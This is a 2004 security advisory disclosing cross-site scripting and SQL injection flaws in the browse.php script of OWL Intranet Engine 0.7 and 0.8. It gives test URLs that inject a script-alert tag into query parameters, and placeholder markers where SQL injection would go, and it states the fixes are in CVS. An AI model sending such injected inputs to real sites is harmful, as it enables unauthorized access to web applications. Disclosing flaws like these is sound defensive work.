Various Vulnerabilities in OWL Intranet Engine

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               Various Vulnerabilities in OWL Intranet Engine
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Author: Jose Antonio Coret (Joxean Koret)
Date: 2004
Location: Basque Country

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Affected software description:
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OWL 0.7 and 0.8 - Owl is a multi user document repository
(knowledgebase)
system written in PHP4 for publishing files/documents onto the web for
a
corporation, small business, group of people, or just for yourself.

Web : http://owl.sourceforge.net/

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Vulnerabilities:
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A. Cross Site Scripting Vulnerabilities

A1. In the script browser various parameters, that are used to write the
html code, not are verified.

        Test URLS :

http://<site-with-owl>/intranet/browse.php?sess=<replace-with-a-valid-session-id>&parent=115&expand=1'><script>alert(document.location)</script>&order=creatorid&sortposted=DESC

http://<site-with-owl>/intranet/browse.php?sess=<replace-with-a-valid-session-id>&parent=115&expand=1&order=creatorid'><script>alert(document.location)</script>&sortposted=DESC

B. SQL Injection Vulnerabilities

B1. In the browser.php script the following parameters are vulnerables
to an
SQL Injection attacks.

        Test URLS :
        

http://<site-with-owl>/intranet/browse.php?sess=<replace-with-a-valid-session-id>&parent=104[SQL%20INJECTION]&expand=1&order=creatorid&sortposted=DESC

http://<site-with-owl>/intranet/browse.php?sess=<replace-with-a-valid-session-id>&parent=104&expand=1&order=creatorid&sortposted=DESC[SQL%20INJECTION]

The fix:
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All problems are fixed in the CVS.

Disclaimer:
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The information in this advisory and any of its demonstrations is
provided
"as is" without any warranty of any kind.

I am not liable for any direct or indirect damages caused as a result of
using the information or demonstrations provided in any part of this
advisory.

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Contact:
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        Joxean Koret at joxeanpiti<<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es